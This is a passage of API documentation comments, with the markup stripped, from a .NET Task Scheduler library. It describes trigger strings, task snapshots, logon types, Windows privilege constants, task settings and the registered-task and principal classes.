localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was 